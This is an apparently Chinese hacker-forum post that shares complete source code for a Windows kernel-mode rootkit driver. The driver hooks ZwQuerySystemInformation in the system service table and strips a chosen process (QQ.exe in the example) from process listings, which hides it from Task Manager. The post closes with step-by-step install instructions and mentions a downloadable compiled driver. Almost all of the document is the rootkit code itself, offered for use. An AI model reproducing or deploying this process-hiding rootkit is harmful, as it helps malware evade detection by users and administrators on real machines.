近一直在研究rootkit,首先申明我是rootkit的菜鸟哈,也感觉还么有研究得好深。这次我把我练习时写的一个hook 系统 ZwQuerySystemInformation 函数来实现隐藏QQ进程的代码贴上来,也算是为成黑添砖添瓦哦。隐藏了的进程能够被rootkit的检测工具检测出来,但是一般的方法是看不出来的,比如任务管理器,和程序里面列出进程都是看不到的。程序中我已经添加了相关的注释,这里就不多说了。关于这种技术的文章网上有很多,我也只是为自己总结一下吧。代码如下
代码:
//文件名: hider.c
// 作者: 锦毛鼠(成都黑客在线)HTTP://Www.CduHacker.Com
// 功能: 用驱动程序实现要保护的程序的进程
// 修改: 2005.12.23 开始编写
// 编译: bulid
// 环境: win2000sp4+vc6.0+win2000 DDK
#include "ntddk.h"
#include "stdio.h"
#include "stdlib.h"
#include "hider.h"
#define NT_PROCNAMELEN 16
#define PROCNAMELEN 20
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //Used only in checked build
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
//定义一个宏SYSTEMSERVICE(_function)
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //windows 2000 only
struct _SYSTEM_THREADS Threads[1];
};
//驱动入口函数DriverEntery
NTSTATUS DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING registryPath
)
{ int i;
DbgPrint("驱动加载成功..");
GetProcessNameOffset();
//注册驱动分发函数
for (i=1;i<IRP_MJ_MAXIMUM_FUNCTION;i++)
{
DbgPrint("MajorFunction..");
DriverObject->MajorFunction[i]=OnDispatch;
}
//注册驱动卸载函数
DriverObject->DriverUnload=OnUnload;
OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));
_asm cli
(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation))= NewZwQuerySystemInformation;
_asm sti
return STATUS_SUCCESS;
}
//用户自定义的NewZwQuerySystemInformation
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength
)
{
NTSTATUS rc;
CHAR aProcessName[PROCNAMELEN];
GetProcessName( aProcessName );
rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
if( NT_SUCCESS( rc ) )
{
// double check the process name, if it starts w/ '_root_' DO NOT
// apply any stealth
if(0 == memcmp(aProcessName, "_root_", 6))
{
DbgPrint("rootkit: detected system query from _root_ process/n");
}
else if( 5 == SystemInformationClass )
{
// this is a process list, look for process names that start with
// '_root_'
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
DbgPrint("rootkit: NewZwQuerySystemInformation() from %s/n", aProcessName);
while(curr)
{
//struct _SYSTEM_PROCESSES *next = ((char *)curr += curr->NextEntryDelta);
int bMod = FALSE;
ANSI_STRING process_name;
RtlUnicodeStringToAnsiString( &process_name, &(curr->ProcessName), TRUE);
if( (0 < process_name.Length) && (255 > process_name.Length) )
{
if(0 == memcmp( process_name.Buffer, "QQ.exe", 6)) //修改成你要隐藏的程序
{
//
// we have a winner!
//
char _output[255];
char _pname[255];
memset(_pname, 0, 255);
memcpy(_pname, process_name.Buffer, process_name.Length);
sprintf( _output,
"rootkit: hiding process, pid: %d/tname: %s/r/n",
curr->ProcessId,
_pname);
DbgPrint(_output);
if(prev)
{
if(curr->NextEntryDelta)
{
// make prev skip this entry
prev->NextEntryDelta += curr->NextEntryDelta;
bMod = TRUE; //flag to say that we have modified
}
else
{
// we are last, so make prev the end
prev->NextEntryDelta = 0;
}
}
else
{
if(curr->NextEntryDelta)
{
// we are first in the list, so move it forward
(char *)SystemInformation += curr->NextEntryDelta;
}
else
{
// we are the only process!
SystemInformation = NULL;
}
}
}
}
RtlFreeAnsiString(&process_name);
prev = curr;
if(!bMod)
prev = curr;
if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
else curr = NULL;
}
}
}
return(rc);
}
//获得程序名字
int GetProcessName( PCHAR theName )
{
PEPROCESS curproc;
char *nameptr;
ULONG i;
KIRQL oldirql;
if( g_ProcessNameOffset )
{
curproc = PsGetCurrentProcess();
nameptr = (PCHAR) curproc + g_ProcessNameOffset;
strncpy( theName, nameptr, NT_PROCNAMELEN);
theName[NT_PROCNAMELEN] = 0; /* NULL at end */
return TRUE;
}
return FALSE;
}
//驱动卸载函数OnUnLoad
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
PDEVICE_OBJECT p_NextObj;
PDEVICE_OBJECT OldDeviceObject;
p_NextObj=DriverObject->DeviceObject;
DbgPrint("OnUnload..");
while (p_NextObj != NULL)
{
OldDeviceObject=p_NextObj;
p_NextObj=p_NextObj->NextDevice;
IoDeleteDevice(OldDeviceObject);
}
_asm cli
(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = OldZwQuerySystemInformation;
_asm sti
return STATUS_SUCCESS;
}
//驱动分发函数,隐藏要保护的进程
NTSTATUS OnDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irq
)
{
Irq->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest (Irq,IO_NO_INCREMENT);
return Irq->IoStatus.Status;
}
//获取函数偏移地址函数GetProcessNameOffset
void GetProcessNameOffset()
{
int i;
PEPROCESS curproc;
DbgPrint("GetProcessNameOffset..");
curproc = PsGetCurrentProcess();
for( i = 0; i < 3*PAGE_SIZE; i++ )
{
if( !strncmp( "System", (PCHAR) curproc + i, strlen("System") ))
{
g_ProcessNameOffset = i;
}
}
}
hider.h
代码:
//文件名: hider.h
// 作者: 锦毛鼠(成都黑客在线)HTTP://Www.CduHacker.Com
// 功能: 定义函数,和全局变量
// 修改: 2005.12.23 开始编写
// 编译: bulid
// 环境: win2000sp4+vc6.0+win2000 DDK
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
ULONG SystemInformationCLass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
//全局变量部分
ULONG g_ProcessNameOffset;
ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;
//函数定义部分
void GetProcessNameOffset();
void OnUnload( IN PDRIVER_OBJECT);
NTSTATUS OnDispatch(IN PDEVICE_OBJECT,IN PIRP);
int GetProcessName(PCHAR);
NTSTATUS NewZwQuerySystemInformation(IN ULONG SystemInformationClass,IN PVOID SystemInformation,IN ULONG SystemInformationLength,OUT PULONG ReturnLength);
NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
这里是编译好的程序提供下载。
附件的地址在 网站上有
测试方法。
1,先导入注册表,然后复制hider.sys到system32目录下面.
2,重新启动机器.
3,命令提示符下面 "net start hider"
4 ,打开QQ程序
5,打开任务管理器.
这时你就在任务管理器里面看不到qq的进程了